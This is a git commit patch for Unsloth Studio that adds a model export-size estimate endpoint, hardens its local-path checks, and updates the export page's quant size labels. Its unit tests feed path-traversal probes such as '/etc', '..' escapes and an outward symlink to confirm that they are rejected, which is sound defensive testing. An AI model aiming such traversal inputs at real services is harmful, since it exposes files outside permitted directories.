* Studio export-size: address second review pass

- Send the HF token in an X-HF-Token header instead of the query string, so
  it never lands in URLs, logs, or browser history.
- Key the estimate cache by model id only (the fp16 size is token independent),
  so HF tokens are never retained in the cache.
- Restrict local-path sizing to known Studio roots (outputs/exports/cache/home)
  so an authenticated caller cannot trigger a scan of an arbitrary directory.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio export-size: fix CI (import-hoist + isolated-load test stubs)

- Import ExportSizeResponse from models.models in routes/models.py instead of
  re-exporting it through models/__init__.py, so the import-hoist lint does not
  flag a newly added but un-loaded re-export (models/__init__.py is unchanged).
- Add Header and ExportSizeResponse to the stubbed fastapi / models.models in
  test_export_absolute_paths.py, which loads routes/models.py in isolation.

* Studio: validate export-size local path before filesystem access

CodeQL flagged the export-size local-path guard as path injection: the
user-provided model path was resolved and stat-ed before it was checked
for containment under a Studio data root. Decide containment by lexical
normalization (normpath/abspath/expanduser, no filesystem access) and
only touch the filesystem once the path is proven to sit under a trusted
root, so an unvalidated value never reaches a filesystem call. Add a
direct containment unit test (under-root, root itself, missing, /etc,
and '..' traversal).

* Studio: trim export-size comments to be more concise

Shorten docstrings and comments on the export-size endpoint, helpers, tests,
and frontend size utilities; drop comments that just restate the code. Verified
code-identical (comments only) via AST/TS-compiler check. No behavior change.

* Studio: harden export-size local-path handling

Address review feedback on the export-size endpoint's local sizing:
- Resolve symlinks and re-verify containment in _is_sizable_local_path so a
  symlink inside a Studio root can't point the sizer outside it.
- Re-validate the resolved LoRA base before sizing, so a crafted adapter
  whose base_model points outside the roots can't redirect the scan.
- Skip nested checkpoint-*/global_step* snapshots when summing local weight
  sizes so a run dir's intermediate checkpoints don't inflate the estimate.
- Size the checkpoint directory for full fine-tune checkpoint exports (whose
  base may be a local/custom path), keeping base-model sizing for adapters.

Adds tests for the adapter-base escape, symlink escape, and nested-checkpoint
exclusion.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: danielhanchen <michaelhan2050@gmail.com>
---
 studio/backend/models/models.py               |  18 ++
 studio/backend/routes/models.py               | 122 ++++++++-
 .../tests/test_export_absolute_paths.py       |   2 +
 .../tests/test_export_size_estimate.py        | 244 ++++++++++++++++++
 studio/backend/utils/hardware/hardware.py     |  12 +-
 .../src/features/export/api/export-api.ts     |  25 ++
 .../export/components/export-dialog.tsx       |  15 +-
 .../export/components/quant-picker.tsx        |   9 +-
 .../frontend/src/features/export/constants.ts | 124 +++++++--
 .../src/features/export/export-page.tsx       |  51 +++-
 .../export/hooks/use-export-size-estimate.ts  |  68 +++++
 11 files changed, 648 insertions(+), 42 deletions(-)
 create mode 100644 studio/backend/tests/test_export_size_estimate.py
 create mode 100644 studio/frontend/src/features/export/hooks/use-export-size-estimate.ts

diff --git a/studio/backend/models/models.py b/studio/backend/models/models.py
index ff00363ff8..d1ef368eae 100644
--- a/studio/backend/models/models.py
+++ b/studio/backend/models/models.py
@@ -53,6 +53,24 @@ class CheckpointListResponse(BaseModel):
     )
 
 
+class ExportSizeResponse(BaseModel):
+    """Model fp16/bf16-equivalent size; size fields are null when unknown."""
+
+    model: str = Field(..., description = "Model id or path the estimate was computed for")
+    fp16_bytes: Optional[int] = Field(
+        None,
+        description = "Estimated FP16/BF16-equivalent on-disk size in bytes, or null if unknown",
+    )
+    total_params: Optional[int] = Field(
+        None,
+        description = "Estimated total parameter count (fp16_bytes // 2), or null if unknown",
+    )
+    source: str = Field(
+        "unavailable",
+        description = "How the estimate was derived (e.g. safetensors, config, local, vllm, unavailable)",
+    )
+
+
 class ModelDetails(BaseModel):
     """Model configuration and metadata; used for both list and detail views"""
 
diff --git a/studio/backend/routes/models.py b/studio/backend/routes/models.py
index 8eec7777c4..c17bb6fb57 100644
--- a/studio/backend/routes/models.py
+++ b/studio/backend/routes/models.py
@@ -3,6 +3,7 @@
 
 """Model management API routes."""
 
+import asyncio
 import hashlib
 import json
 import os
@@ -10,7 +11,7 @@ import shutil
 import sys
 import uuid
 from pathlib import Path
-from fastapi import APIRouter, Body, Depends, HTTPException, Query
+from fastapi import APIRouter, Body, Depends, Header, HTTPException, Query
 from typing import List, Optional
 import structlog
 from loggers import get_logger
@@ -149,6 +150,7 @@ from models import (
 from models.models import (
     BrowseEntry,
     BrowseFoldersResponse,
+    ExportSizeResponse,
     GgufVariantDetail,
     GgufVariantsResponse,
     ModelType,
@@ -3008,3 +3010,121 @@ async def list_checkpoints(
             event = "models.list_checkpoints_failed",
             log = logger,
         )
+
+
+# Successful estimates only, keyed by model id (token-independent, never stored).
+# Failures are not cached so a transient offline/gated error can recover later.
+_EXPORT_SIZE_CACHE: dict[str, tuple[int, int, str]] = {}
+
+
+def _is_sizable_local_path(model: str) -> bool:
+    """True only for local paths under a Studio data root.
+
+    Containment is decided lexically (no filesystem access) before the path is
+    touched, then the path is symlink-resolved and re-checked so a symlink
+    inside a root can't point the sizer outside it. A user-controlled path thus
+    can't trigger a scan of an arbitrary dir.
+    """
+    from utils.paths import outputs_root, exports_root, studio_root
+    from utils.paths.storage_roots import cache_root
+
+    def _lexical(p: str) -> str:
+        # Lexical only (no filesystem read); normpath collapses '..'.
+        return os.path.normpath(os.path.abspath(os.path.expanduser(p)))
+
+    raw_roots = [studio_root(), outputs_root(), exports_root(), cache_root()]
+    roots = []
+    for root in raw_roots:
+        try:
+            roots.append(_lexical(str(root)))
+        except (OSError, RuntimeError, ValueError):
+            continue
+
+    try:
+        candidate = _lexical(model)
+    except (OSError, RuntimeError, ValueError):
+        return False
+    for root in roots:
+        if candidate == root or candidate.startswith(root + os.sep):
+            # Contained lexically; resolve symlinks and re-verify the real path
+            # is still under a root before touching the filesystem.
+            try:
+                real = os.path.realpath(candidate)
+            except (OSError, RuntimeError, ValueError):
+                return False
+            for raw in raw_roots:
+                try:
+                    real_root = os.path.realpath(str(raw))
+                except (OSError, RuntimeError, ValueError):
+                    continue
+                if real == real_root or real.startswith(real_root + os.sep):
+                    return os.path.exists(real)
+            return False
+    return False
+
+
+def _export_size_cached(
+    model: str, hf_token: Optional[str]
+) -> tuple[Optional[int], Optional[int], str]:
+    """Estimate a model's fp16/bf16-equivalent size in bytes (+ total params).
+
+    Memoizes successful results by model id; never raises (failures return
+    (None, None, "unavailable") and are not cached). Blocking I/O; call off-thread.
+    """
+    cached = _EXPORT_SIZE_CACHE.get(model)
+    if cached is not None:
+        return cached
+    try:
+        from utils.hardware.hardware import (
+            _resolve_model_identifier_for_gpu_estimate,
+            estimate_fp16_model_size_bytes,
+        )
+
+        # A local LoRA adapter is sized via its base model, which the sizer
+        # reads from the adapter config; re-validate that resolved base so a
+        # crafted adapter can't redirect the local scan outside the roots.
+        if is_local_path(model):
+            base = _resolve_model_identifier_for_gpu_estimate(model, hf_token = hf_token)
+            if is_local_path(base) and not _is_sizable_local_path(base):
+                return None, None, "unavailable"
+
+        fp16_bytes, source = estimate_fp16_model_size_bytes(model, hf_token = hf_token)
+        if not fp16_bytes or fp16_bytes <= 0:
+            return None, None, source or "unavailable"
+        result = (int(fp16_bytes), int(fp16_bytes) // 2, source)
+        _EXPORT_SIZE_CACHE[model] = result
+        return result
+    except Exception as e:  # a size hint must never break export
+        logger.warning("Could not estimate export size for '%s': %s", model, e)
+        return None, None, "unavailable"
+
+
+@router.get("/export-size", response_model = ExportSizeResponse)
+async def get_export_size(
+    model: str = Query(..., description = "Base model id or local model path to size"),
+    hf_token: Optional[str] = Header(None, alias = "X-HF-Token"),
+    current_subject: str = Depends(get_current_subject),
+):
+    """Estimate a model's fp16/bf16-equivalent size for the Export page.
+
+    Returns nulls with HTTP 200 when the size can't be determined. The HF token
+    (for gated repos) comes from the X-HF-Token header so it never hits URLs/logs.
+    """
+    if is_local_path(model):
+        if not _is_sizable_local_path(model):
+            return ExportSizeResponse(
+                model = model, fp16_bytes = None, total_params = None, source = "unavailable"
+            )
+        resolved = model
+    else:
+        resolved = resolve_cached_repo_id_case(model)
+    # Blocking network/disk I/O: run off the event loop.
+    fp16_bytes, total_params, source = await asyncio.to_thread(
+        _export_size_cached, resolved, hf_token
+    )
+    return ExportSizeResponse(
+        model = resolved,
+        fp16_bytes = fp16_bytes,
+        total_params = total_params,
+        source = source,
+    )
diff --git a/studio/backend/tests/test_export_absolute_paths.py b/studio/backend/tests/test_export_absolute_paths.py
index d62c2a5e61..761ea08e3f 100644
--- a/studio/backend/tests/test_export_absolute_paths.py
+++ b/studio/backend/tests/test_export_absolute_paths.py
@@ -72,6 +72,7 @@ def _install_lightweight_backend_stubs(monkeypatch):
     fastapi.APIRouter = lambda: _Router()
     fastapi.Body = lambda default = None, **_kwargs: default
     fastapi.Depends = lambda dependency = None, **_kwargs: dependency
+    fastapi.Header = lambda default = None, **_kwargs: default
     fastapi.HTTPException = _HTTPException
     fastapi.Query = lambda default = None, **_kwargs: default
     fastapi.Request = object
@@ -191,6 +192,7 @@ def _install_lightweight_backend_stubs(monkeypatch):
     for name in (
         "BrowseEntry",
         "BrowseFoldersResponse",
+        "ExportSizeResponse",
         "GgufVariantDetail",
         "GgufVariantsResponse",
         "ScanFolderInfo",
diff --git a/studio/backend/tests/test_export_size_estimate.py b/studio/backend/tests/test_export_size_estimate.py
new file mode 100644
index 0000000000..6976187d83
--- /dev/null
+++ b/studio/backend/tests/test_export_size_estimate.py
@@ -0,0 +1,244 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""Tests for GET /api/models/export-size (the Export page size estimate).
+
+The endpoint must never raise and must degrade to nulls when size is unknown.
+"""
+
+import asyncio
+import importlib.util
+import os
+import tempfile
+import unittest
+from pathlib import Path
+from unittest.mock import patch
+
+_BACKEND_ROOT = Path(__file__).resolve().parent.parent
+
+# Real Qwen3.6-35B-A3B: 35.95B params -> ~67 GiB bf16 (UI wrongly showed Q8 ~8.2 GB).
+_QWEN35_PARAMS = 35_951_822_704
+_QWEN35_FP16_BYTES = _QWEN35_PARAMS * 2
+
+
+def _load_route_module(name: str, relative_path: str):
+    spec = importlib.util.spec_from_file_location(name, _BACKEND_ROOT / relative_path)
+    module = importlib.util.module_from_spec(spec)
+    spec.loader.exec_module(module)
+    return module
+
+
+class TestExportSizeEndpoint(unittest.TestCase):
+    @classmethod
+    def setUpClass(cls):
+        cls.models_route = _load_route_module(
+            "models_route_module_for_export_size_test",
+            "routes/models.py",
+        )
+
+    def setUp(self):
+        self.models_route._EXPORT_SIZE_CACHE.clear()
+
+    def _call(self, model: str = "unsloth/Qwen3.6-35B-A3B"):
+        with (
+            patch.object(self.models_route, "is_local_path", return_value = False),
+            patch.object(self.models_route, "resolve_cached_repo_id_case", side_effect = lambda m: m),
+        ):
+            return asyncio.run(
+                self.models_route.get_export_size(
+                    model = model, hf_token = None, current_subject = "test-user"
+                )
+            )
+
+    def test_known_model_returns_bytes_and_params(self):
+        with patch(
+            "utils.hardware.hardware.estimate_fp16_model_size_bytes",
+            return_value = (_QWEN35_FP16_BYTES, "safetensors"),
+        ):
+            resp = self._call()
+        self.assertEqual(resp.fp16_bytes, _QWEN35_FP16_BYTES)
+        self.assertEqual(resp.total_params, _QWEN35_PARAMS)
+        self.assertEqual(resp.source, "safetensors")
+        self.assertEqual(resp.model, "unsloth/Qwen3.6-35B-A3B")
+
+    def test_moe_via_config_fallback(self):
+        # MoE sized via the sizer's config path -> source "config".
+        with patch(
+            "utils.hardware.hardware.estimate_fp16_model_size_bytes",
+            return_value = (67 * (1024**3), "config"),
+        ):
+            resp = self._call()
+        self.assertEqual(resp.fp16_bytes, 67 * (1024**3))
+        self.assertEqual(resp.total_params, (67 * (1024**3)) // 2)
+        self.assertEqual(resp.source, "config")
+
+    def test_unknown_size_returns_nulls_not_error(self):
+        with patch(
+            "utils.hardware.hardware.estimate_fp16_model_size_bytes",
+            return_value = (None, "unavailable"),
+        ):
+            resp = self._call()
+        self.assertIsNone(resp.fp16_bytes)
+        self.assertIsNone(resp.total_params)
+        self.assertEqual(resp.source, "unavailable")
+
+    def test_zero_size_treated_as_unknown(self):
+        with patch(
+            "utils.hardware.hardware.estimate_fp16_model_size_bytes",
+            return_value = (0, "safetensors"),
+        ):
+            resp = self._call()
+        self.assertIsNone(resp.fp16_bytes)
+        self.assertIsNone(resp.total_params)
+
+    def test_sizer_exception_is_swallowed(self):
+        with patch(
+            "utils.hardware.hardware.estimate_fp16_model_size_bytes",
+            side_effect = RuntimeError("boom"),
+        ):
+            resp = self._call()
+        self.assertIsNone(resp.fp16_bytes)
+        self.assertEqual(resp.source, "unavailable")
+
+    def test_result_is_memoized_per_model(self):
+        with patch(
+            "utils.hardware.hardware.estimate_fp16_model_size_bytes",
+            return_value = (_QWEN35_FP16_BYTES, "safetensors"),
+        ) as mock_sizer:
+            first = self._call()
+            second = self._call()
+        self.assertEqual(first.fp16_bytes, second.fp16_bytes)
+        self.assertEqual(mock_sizer.call_count, 1)
+
+    def test_failures_are_not_cached(self):
+        # A transient failure must not poison the cache; a later call recovers.
+        with patch(
+            "utils.hardware.hardware.estimate_fp16_model_size_bytes",
+            side_effect = [(None, "unavailable"), (_QWEN35_FP16_BYTES, "safetensors")],
+        ) as mock_sizer:
+            first = self._call()
+            second = self._call()
+        self.assertIsNone(first.fp16_bytes)
+        self.assertEqual(second.fp16_bytes, _QWEN35_FP16_BYTES)
+        self.assertEqual(mock_sizer.call_count, 2)
+
+    def test_token_is_forwarded_to_sizer(self):
+        with (
+            patch.object(self.models_route, "is_local_path", return_value = False),
+            patch.object(self.models_route, "resolve_cached_repo_id_case", side_effect = lambda m: m),
+            patch(
+                "utils.hardware.hardware.estimate_fp16_model_size_bytes",
+                return_value = (_QWEN35_FP16_BYTES, "safetensors"),
+            ) as mock_sizer,
+        ):
+            asyncio.run(
+                self.models_route.get_export_size(
+                    model = "unsloth/Private",
+                    hf_token = "secret-token",
+                    current_subject = "test-user",
+                )
+            )
+        self.assertEqual(mock_sizer.call_args.kwargs.get("hf_token"), "secret-token")
+
+    def test_arbitrary_local_path_is_not_scanned(self):
+        # Unsafe local paths must not be scanned -> unavailable.
+        with (
+            patch.object(self.models_route, "is_local_path", return_value = True),
+            patch.object(self.models_route, "_is_sizable_local_path", return_value = False),
+            patch("utils.hardware.hardware.estimate_fp16_model_size_bytes") as mock_sizer,
+        ):
+            resp = asyncio.run(
+                self.models_route.get_export_size(
+                    model = "/etc", hf_token = None, current_subject = "test-user"
+                )
+            )
+        self.assertIsNone(resp.fp16_bytes)
+        self.assertEqual(resp.source, "unavailable")
+        mock_sizer.assert_not_called()
+
+    def test_sizable_local_path_is_sized(self):
+        with (
+            patch.object(self.models_route, "is_local_path", return_value = True),
+            patch.object(self.models_route, "_is_sizable_local_path", return_value = True),
+            patch(
+                "utils.hardware.hardware._resolve_model_identifier_for_gpu_estimate",
+                side_effect = lambda m, **_kw: m,
+            ),
+            patch(
+                "utils.hardware.hardware.estimate_fp16_model_size_bytes",
+                return_value = (_QWEN35_FP16_BYTES, "local"),
+            ),
+        ):
+            resp = asyncio.run(
+                self.models_route.get_export_size(
+                    model = "/root/.unsloth/studio/outputs/run",
+                    hf_token = None,
+                    current_subject = "test-user",
+                )
+            )
+        self.assertEqual(resp.fp16_bytes, _QWEN35_FP16_BYTES)
+        self.assertEqual(resp.source, "local")
+
+    def test_local_adapter_base_escaping_roots_is_rejected(self):
+        # A local adapter under a root whose resolved base points outside the
+        # roots (e.g. "/") must not be sized: the resolved base is re-validated.
+        adapter = "/root/.unsloth/studio/outputs/adapter"
+        with (
+            patch.object(self.models_route, "is_local_path", return_value = True),
+            patch.object(
+                self.models_route, "_is_sizable_local_path", side_effect = lambda p: p == adapter
+            ),
+            patch(
+                "utils.hardware.hardware._resolve_model_identifier_for_gpu_estimate",
+                return_value = "/",
+            ),
+            patch("utils.hardware.hardware.estimate_fp16_model_size_bytes") as mock_sizer,
+        ):
+            resp = asyncio.run(
+                self.models_route.get_export_size(
+                    model = adapter, hf_token = None, current_subject = "test-user"
+                )
+            )
+        self.assertIsNone(resp.fp16_bytes)
+        self.assertEqual(resp.source, "unavailable")
+        mock_sizer.assert_not_called()
+
+    def test_is_sizable_local_path_containment(self):
+        # Only paths under a trusted root are sizable; '..' can't escape.
+        with tempfile.TemporaryDirectory() as tmp:
+            root = Path(tmp) / "outputs"
+            inside = root / "run-1"
+            inside.mkdir(parents = True)
+            with (
+                patch("utils.paths.studio_root", return_value = root),
+                patch("utils.paths.outputs_root", return_value = root),
+                patch("utils.paths.exports_root", return_value = root),
+                patch("utils.paths.storage_roots.cache_root", return_value = root),
+            ):
+                is_sizable = self.models_route._is_sizable_local_path
+                self.assertTrue(is_sizable(str(inside)))
+                self.assertTrue(is_sizable(str(root)))
+                self.assertFalse(is_sizable(str(root / "missing")))
+                self.assertFalse(is_sizable("/etc"))
+                self.assertFalse(is_sizable(str(root / ".." / "etc")))
+                # A symlink inside a root pointing outside it cannot escape.
+                escape = root / "escape"
+                os.symlink(tmp, escape)
+                self.assertFalse(is_sizable(str(escape)))
+
+    def test_local_weight_size_skips_nested_checkpoints(self):
+        # A run dir's intermediate checkpoint-*/global_step* snapshots must not
+        # be counted; only the model files at the root are summed.
+        from utils.hardware.hardware import _get_local_weight_size_bytes
+        with tempfile.TemporaryDirectory() as tmp:
+            run = Path(tmp)
+            (run / "model.safetensors").write_bytes(b"\0" * 1000)
+            for sub, size in (("checkpoint-60", 5000), ("global_step10", 7000)):
+                d = run / sub
+                d.mkdir()
+                (d / "model.safetensors").write_bytes(b"\0" * size)
+            self.assertEqual(_get_local_weight_size_bytes(str(run)), 1000)
+
+
+if __name__ == "__main__":
+    unittest.main()
diff --git a/studio/backend/utils/hardware/hardware.py b/studio/backend/utils/hardware/hardware.py
index 12baded14a..02e177baf3 100644
--- a/studio/backend/utils/hardware/hardware.py
+++ b/studio/backend/utils/hardware/hardware.py
@@ -1111,10 +1111,18 @@ def _get_local_weight_size_bytes(model_name: str) -> Optional[int]:
         return None
 
     weight_exts = (".safetensors", ".bin", ".pt", ".pth")
+    # Skip intermediate training checkpoints: a run dir can hold several
+    # checkpoint-*/global_step* snapshots, but export loads only the model at
+    # the root, so counting them would multiply the estimate.
+    skip_prefixes = ("checkpoint-", "global_step")
     total = 0
     for file in model_path.rglob("*"):
-        if file.is_file() and file.suffix in weight_exts:
-            total += file.stat().st_size
+        if not file.is_file() or file.suffix not in weight_exts:
+            continue
+        rel = file.relative_to(model_path)
+        if any(part.startswith(skip_prefixes) for part in rel.parts):
+            continue
+        total += file.stat().st_size
     return total if total > 0 else None
 
 
diff --git a/studio/frontend/src/features/export/api/export-api.ts b/studio/frontend/src/features/export/api/export-api.ts
index e6c51b1e36..5cd944e67b 100644
--- a/studio/frontend/src/features/export/api/export-api.ts
+++ b/studio/frontend/src/features/export/api/export-api.ts
@@ -33,6 +33,13 @@ export interface CheckpointListResponse {
   models: ModelCheckpoints[];
 }
 
+export interface ExportSizeEstimate {
+  /** Estimated FP16/BF16-equivalent on-disk size, or null when unknown. */
+  fp16_bytes: number | null;
+  total_params: number | null;
+  source: string;
+}
+
 export interface ExportOperationResponse {
   success: boolean;
   message: string;
@@ -48,6 +55,24 @@ export async function fetchCheckpoints(): Promise<CheckpointListResponse> {
   return parseJson<CheckpointListResponse>(response);
 }
 
+/** Estimate a model's fp16-equivalent size to scale the GGUF quant labels; nulls (not error) when unknown. */
+export async function fetchExportSize(
+  modelId: string,
+  hfToken?: string | null,
+  signal?: AbortSignal,
+): Promise<ExportSizeEstimate> {
+  // Token in a header (not the query string) so it never lands in URLs/logs.
+  const headers: Record<string, string> = {};
+  if (hfToken) {
+    headers["X-HF-Token"] = hfToken;
+  }
+  const response = await authFetch(
+    `/api/models/export-size?model=${encodeURIComponent(modelId)}`,
+    { signal, headers },
+  );
+  return parseJson<ExportSizeEstimate>(response);
+}
+
 export async function loadCheckpoint(params: {
   checkpoint_path: string;
   max_seq_length?: number;
diff --git a/studio/frontend/src/features/export/components/export-dialog.tsx b/studio/frontend/src/features/export/components/export-dialog.tsx
index 2b40356a8c..c366f0cdeb 100644
--- a/studio/frontend/src/features/export/components/export-dialog.tsx
+++ b/studio/frontend/src/features/export/components/export-dialog.tsx
@@ -252,7 +252,7 @@ export function ExportDialog({
   checkpoint,
   exportMethod,
   quantLevels,
-  estimatedSize: _estimatedSize,
+  estimatedSize,
   baseModelName,
   isAdapter,
   destination,
@@ -576,11 +576,14 @@ export function ExportDialog({
                   </span>
                 </div>
               )}
-              {/* TODO: unhide once estimated size comes from the backend API */}
-              {/* <div className="flex justify-between">
-            <span>Est. size</span>
-            <span className="font-medium text-foreground">{estimatedSize}</span>
-          </div> */}
+              {estimatedSize && (
+                <div className="flex justify-between">
+                  <span>Est. size</span>
+                  <span className="font-medium text-foreground">
+                    {estimatedSize}
+                  </span>
+                </div>
+              )}
             </div>
 
             {/* Live export output panel */}
diff --git a/studio/frontend/src/features/export/components/quant-picker.tsx b/studio/frontend/src/features/export/components/quant-picker.tsx
index 3001cfc033..192cbeaeee 100644
--- a/studio/frontend/src/features/export/components/quant-picker.tsx
+++ b/studio/frontend/src/features/export/components/quant-picker.tsx
@@ -18,9 +18,11 @@ import { QUANT_OPTIONS } from "../constants";
 interface QuantPickerProps {
   value: string[];
   onChange: (v: string[]) => void;
+  /** quant value -> "~X GB"; blank/missing when the model size is unknown. */
+  sizes?: Record<string, string>;
 }
 
-export function QuantPicker({ value, onChange }: QuantPickerProps) {
+export function QuantPicker({ value, onChange, sizes }: QuantPickerProps) {
   const toggle = (qv: string) => {
     onChange(
       value.includes(qv) ? value.filter((q) => q !== qv) : [...value, qv],
@@ -66,6 +68,7 @@ export function QuantPicker({ value, onChange }: QuantPickerProps) {
       <div className="flex flex-wrap gap-2 py-1 pl-1">
         {QUANT_OPTIONS.map((q) => {
           const active = value.includes(q.value);
+          const sizeLabel = sizes?.[q.value] ?? "";
           return (
             <button
               key={q.value}
@@ -85,7 +88,9 @@ export function QuantPicker({ value, onChange }: QuantPickerProps) {
                 />
               )}
               {q.label}
-              <span className="text-[10px] opacity-60">{q.size}</span>
+              {sizeLabel && (
+                <span className="text-[10px] opacity-60">{sizeLabel}</span>
+              )}
               {q.recommended && !active && (
                 <span className="rounded-full bg-emerald-100 px-1.5 py-0 text-[9px] font-semibold text-emerald-700 dark:bg-emerald-900 dark:text-emerald-300">
                   rec
diff --git a/studio/frontend/src/features/export/constants.ts b/studio/frontend/src/features/export/constants.ts
index c97d9c1f6e..9b7e487450 100644
--- a/studio/frontend/src/features/export/constants.ts
+++ b/studio/frontend/src/features/export/constants.ts
@@ -35,39 +35,123 @@ export const EXPORT_METHODS: {
   },
 ];
 
-export const QUANT_OPTIONS = [
-  { value: "q2_k_l", label: "Q2_K_L", size: "~2.9 GB" },
-  { value: "q3_k_m", label: "Q3_K_M", size: "~3.5 GB" },
-  { value: "q4_k_m", label: "Q4_K_M", size: "~4.8 GB", recommended: true },
-  { value: "q5_k_m", label: "Q5_K_M", size: "~5.6 GB" },
-  { value: "q6_k", label: "Q6_K", size: "~6.6 GB" },
-  { value: "q8_0", label: "Q8_0", size: "~8.2 GB" },
-  { value: "bf16", label: "BF16", size: "~14.2 GB" },
-  { value: "f16", label: "F16", size: "~14.2 GB" },
+export const QUANT_OPTIONS: {
+  value: string;
+  label: string;
+  recommended?: boolean;
+}[] = [
+  { value: "q2_k_l", label: "Q2_K_L" },
+  { value: "q3_k_m", label: "Q3_K_M" },
+  { value: "q4_k_m", label: "Q4_K_M", recommended: true },
+  { value: "q5_k_m", label: "Q5_K_M" },
+  { value: "q6_k", label: "Q6_K" },
+  { value: "q8_0", label: "Q8_0" },
+  { value: "bf16", label: "BF16" },
+  { value: "f16", label: "F16" },
 ];
 
+/**
+ * llama.cpp effective bits-per-weight per quant; GGUF size ~= fp16_bytes * bpw / 16.
+ * K-quant values are published average bit-rates (Q2_K_L = Unsloth Q2_K + Q8_0
+ * embeddings). Approximate ("~"), not exact file sizes.
+ */
+export const GGUF_BPW: Record<string, number> = {
+  q2_k_l: 3.35,
+  q3_k_m: 3.91,
+  q4_k_m: 4.83,
+  q5_k_m: 5.67,
+  q6_k: 6.56,
+  q8_0: 8.5,
+  bf16: 16,
+  f16: 16,
+};
+
+const FP16_BPW = 16;
+
+/**
+ * Human-readable base-1024 size ("67 GB"), matching the model-selector picker.
+ * Do NOT use the base-1000 hub formatBytes here -- it would disagree ("72 GB").
+ */
+export function formatModelSize(bytes: number): string {
+  if (!Number.isFinite(bytes) || bytes <= 0) {
+    return "";
+  }
+  const units = ["B", "KB", "MB", "GB", "TB"];
+  // clamp: bytes < 1 would give a negative index
+  const i = Math.max(
+    0,
+    Math.min(Math.floor(Math.log(bytes) / Math.log(1024)), units.length - 1),
+  );
+  const value = bytes / 1024 ** i;
+  return `${value.toFixed(value < 10 ? 1 : 0)} ${units[i]}`;
+}
+
+/** Estimated on-disk bytes for one GGUF quant, scaled from the real fp16 size. */
+export function estimateQuantBytes(
+  fp16Bytes: number | null | undefined,
+  quant: string,
+): number | null {
+  if (!fp16Bytes || fp16Bytes <= 0) {
+    return null;
+  }
+  const bpw = GGUF_BPW[quant];
+  if (bpw == null) {
+    return null;
+  }
+  return fp16Bytes * (bpw / FP16_BPW);
+}
+
+/** "~X GB" label for a quant, or "" when the real model size is unknown. */
+export function formatQuantSize(
+  fp16Bytes: number | null | undefined,
+  quant: string,
+): string {
+  const bytes = estimateQuantBytes(fp16Bytes, quant);
+  return bytes == null ? "" : `~${formatModelSize(bytes)}`;
+}
+
+/** value -> "~X GB" for every quant option (blank when size unknown). */
+export function buildQuantSizeLabels(
+  fp16Bytes: number | null | undefined,
+): Record<string, string> {
+  const out: Record<string, string> = {};
+  for (const q of QUANT_OPTIONS) {
+    out[q.value] = formatQuantSize(fp16Bytes, q.value);
+  }
+  return out;
+}
+
+/**
+ * Estimated total export size for the summary line; scales from the model's
+ * real fp16 size, returns "" when unknown so the UI can hide a wrong number.
+ */
 export function getEstimatedSize(
   method: ExportMethod | null,
   quantLevels: string[],
-) {
-  const sizeOf = (v: string) =>
-    QUANT_OPTIONS.find((q) => q.value === v)?.size ?? "—";
+  fp16Bytes: number | null | undefined,
+): string {
   if (method === "gguf" && quantLevels.length > 0) {
-    if (quantLevels.length === 1) {
-      return sizeOf(quantLevels[0]);
+    const perQuant = quantLevels.map((q) => estimateQuantBytes(fp16Bytes, q));
+    if (perQuant.some((b) => b == null)) {
+      return ""; // unknown -> blank
     }
-    const total = quantLevels
-      .map((q) => Number.parseFloat(sizeOf(q).replace(/[^0-9.]/g, "")))
-      .reduce((a, b) => a + b, 0);
-    return `~${total.toFixed(1)} GB (${quantLevels.length} files)`;
+    let total = 0;
+    for (const b of perQuant) {
+      total += b ?? 0;
+    }
+    const label = `~${formatModelSize(total)}`;
+    return quantLevels.length === 1
+      ? label
+      : `${label} (${quantLevels.length} files)`;
   }
   if (method === "merged") {
-    return "~14.2 GB";
+    return fp16Bytes && fp16Bytes > 0 ? `~${formatModelSize(fp16Bytes)}` : "";
   }
   if (method === "lora") {
+    // Adapter size is bounded by LoRA rank, not the base model size.
     return "~100 MB";
   }
-  return "—";
+  return "";
 }
 
 export const METHOD_LABELS: Record<TrainingMethod, string> = {
diff --git a/studio/frontend/src/features/export/export-page.tsx b/studio/frontend/src/features/export/export-page.tsx
index a1b2b49c2e..72128cb44b 100644
--- a/studio/frontend/src/features/export/export-page.tsx
+++ b/studio/frontend/src/features/export/export-page.tsx
@@ -71,8 +71,10 @@ import { QuantPicker } from "./components/quant-picker";
 import {
   type ExportMethod,
   GUIDE_STEPS,
+  buildQuantSizeLabels,
   getEstimatedSize,
 } from "./constants";
+import { useExportSizeEstimate } from "./hooks/use-export-size-estimate";
 import { GuidedTour, useGuidedTourController } from "@/features/tour";
 import { exportTourSteps } from "./tour";
 
@@ -243,6 +245,26 @@ export function ExportPage() {
     ? selectedSourceModel ?? "—"
     : baseModelName;
 
+  // For a full fine-tune checkpoint the weights live in the checkpoint dir
+  // itself (its base_model may be a local/custom path that can't be sized), so
+  // size that dir; for LoRA adapters the export merges into the base model.
+  const sizeTargetModel = useMemo(() => {
+    if (sourceMode === "checkpoint" && !isAdapter) {
+      const cp = checkpointsForModel.find((c) => c.display_name === checkpoint);
+      if (cp?.path) {
+        return cp.path;
+      }
+    }
+    return sourceBaseModelName;
+  }, [sourceMode, isAdapter, checkpointsForModel, checkpoint, sourceBaseModelName]);
+
+  // Real (MoE-aware) fp16 size, used to scale the GGUF quant estimates.
+  const { fp16Bytes } = useExportSizeEstimate(sizeTargetModel, debouncedHfToken);
+  const quantSizeLabels = useMemo(
+    () => buildQuantSizeLabels(fp16Bytes),
+    [fp16Bytes],
+  );
+
   const {
     results: hfResults,
     isLoading: isLoadingHfModels,
@@ -367,7 +389,7 @@ export function ExportPage() {
     }
   };
 
-  const estimatedSize = getEstimatedSize(exportMethod, quantLevels);
+  const estimatedSize = getEstimatedSize(exportMethod, quantLevels, fp16Bytes);
   const selectedExportSource =
     sourceMode === "checkpoint" ? checkpoint : selectedSourceModel;
   const defaultSaveDirectory = useMemo(() => {
@@ -1087,21 +1109,28 @@ export function ExportPage() {
               <AnimatePresence>
                 {exportMethod === "gguf" && (
                   <motion.div {...collapseAnim} className="overflow-visible">
-                    <QuantPicker value={quantLevels} onChange={setQuantLevels} />
+                    <QuantPicker
+                      value={quantLevels}
+                      onChange={setQuantLevels}
+                      sizes={quantSizeLabels}
+                    />
                   </motion.div>
                 )}
               </AnimatePresence>
 
